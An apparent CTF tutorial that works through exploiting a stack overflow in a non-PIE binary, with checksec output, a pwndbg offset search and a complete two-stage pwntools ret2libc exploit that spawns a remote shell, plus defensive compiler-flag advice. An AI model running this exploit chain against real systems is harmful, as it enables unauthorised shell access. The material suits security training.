Binary Exploitation CTF Challenges: Step-by-Step

In 2023, the DEF CON CTF qualifier dropped a classic stack smash challenge that stumped hundreds of teams who jumped straight to fuzzing without reading the binary first. The ones who placed ran checksec before writing a single line of exploit code. That discipline — recon before payload — separates fast solves from hours of wasted effort.

Here is the exact methodology that works, shown with real tool output you can replicate on your own machine today.

Step 1: Recon the Binary Before You Touch GDB

Drop the binary. Run file and checksec immediately. These two commands tell you the attack surface before you invest a minute in dynamic analysis.

$ file ./vuln_service\nvuln_service: ELF 64-bit LSB executable, x86-64, dynamically linked, not stripped\n\n$ checksec --file=./vuln_service\n[*] '/home/ctfuser/challenges/vuln_service'\n    Arch:     amd64-64-little\n    RELRO:    Partial RELRO\n    Stack:    No canary found\n    NX:       NX enabled\n    PIE:      No PIE (0x400000)\n    RUNPATH:  b'/home/ctfuser/challenges/libs'

What this tells you: No stack canary means a classic buffer overflow is viable — you can overwrite the return address without tripping a canary check. NX is enabled, so shellcode on the stack won’t execute directly; you need a ROP chain or ret2libc. No PIE means the binary loads at a fixed base address (0x400000), so gadget addresses are static and predictable. Partial RELRO means the GOT is writable — a useful primitive later.

The attacker’s next move: find the overflow offset and locate useful ROP gadgets. The defender’s takeaway: compile with -fstack-protector-all, -pie, and full RELRO. These flags alone would eliminate this entire attack path.

Step 2: Find the Offset with Cyclic Patterns

Now open GDB with the pwndbg or peda plugin. Generate a De Bruijn cyclic pattern, crash the binary, and read the exact offset from the overwritten instruction pointer.

$ gdb -q ./vuln_service\npwndbg> cyclic 200\naaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaa...\n\npwndbg> run\nStarting program: /home/ctfuser/challenges/vuln_service\nEnter your name: aaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaa...\n\nProgram received signal SIGSEGV, Segmentation fault.\n0x00000000006161616b in ?? ()\n\npwndbg> cyclic -l 0x6161616b\n72

What this tells you: The program crashed with 0x6161616b in the instruction pointer. cyclic -l reverse-maps that value back to byte offset 72. You now know: send 72 bytes of padding, then your 8-byte overwrite lands exactly on the return address. That is your control primitive.

From here, use ROPgadget or ropper to find a pop rdi; ret gadget and chain a ret2libc call to system("/bin/sh"). Since PIE is off, gadget addresses are fixed — no leak required.

Step 3: Build and Fire the Exploit

With offset confirmed and gadgets identified, write the exploit using pwntools. This is a minimal ret2libc skeleton targeting the fictional CTF server at 192.0.2.47 on port 4444.

from pwn import *\n\n# Target: 192.0.2.47:4444 — fictional CTF challenge server\nBINARY = './vuln_service'\nLIBC   = './libs/libc.so.6'\n\nelf  = ELF(BINARY)\nlibc = ELF(LIBC)\n\n# Confirmed values from GDB + ROPgadget session\nOFFSET       = 72\nPOP_RDI      = 0x0000000000401263   # pop rdi ; ret\nRET_GADGET   = 0x000000000040101a   # ret  (stack alignment for Ubuntu)\nPUT_PLT      = elf.plt['puts']\nPUT_GOT      = elf.got['puts']\nMAIN         = elf.symbols['main']\n\n# Stage 1: leak puts() address from GOT to break ASLR on libc\np = remote('192.0.2.47', 4444)\n\npayload  = b'A' * OFFSET\npayload += p64(POP_RDI)\npayload += p64(PUT_GOT)\npayload += p64(PUT_PLT)\npayload += p64(MAIN)         # return to main for stage 2\n\np.sendlineafter(b'name: ', payload)\n\nleaked = u64(p.recvline().strip().ljust(8, b'\\x00'))\nlog.success(f'Leaked puts @ {hex(leaked)}')\n\n# Stage 2: calculate libc base, call system(\"/bin/sh\")\nlibc.address  = leaked - libc.symbols['puts']\nSYSTEM        = libc.symbols['system']\nBIN_SH        = next(libc.search(b'/bin/sh'))\n\npayload2  = b'A' * OFFSET\npayload2 += p64(RET_GADGET)\npayload2 += p64(POP_RDI)\npayload2 += p64(BIN_SH)\npayload2 += p64(SYSTEM)\n\np.sendlineafter(b'name: ', payload2)\np.interactive()

What this does: Stage 1 calls puts(puts@GOT) to leak the runtime address of puts in libc, defeating ASLR. Stage 2 calculates the libc base from that leak, then calls system(\"/bin/sh\") with the correct argument in rdi. The ret gadget before pop rdi realigns the stack to a 16-byte boundary — skip this on Ubuntu and system() silently fails due to SSE instructions. That one byte has burned many CTF players.

When the exploit lands, p.interactive() drops you into a shell on the remote target. Read the flag, move on.

What To Do Now

Spin up pwnable.kr or pull the pwn category on picoCTF right now. Pick any beginner-rated binary challenge, run checksec on it before opening GDB, and write down what protections are present and what that rules out. That single habit — reading the binary’s defenses before touching a debugger — will cut your average solve time in half.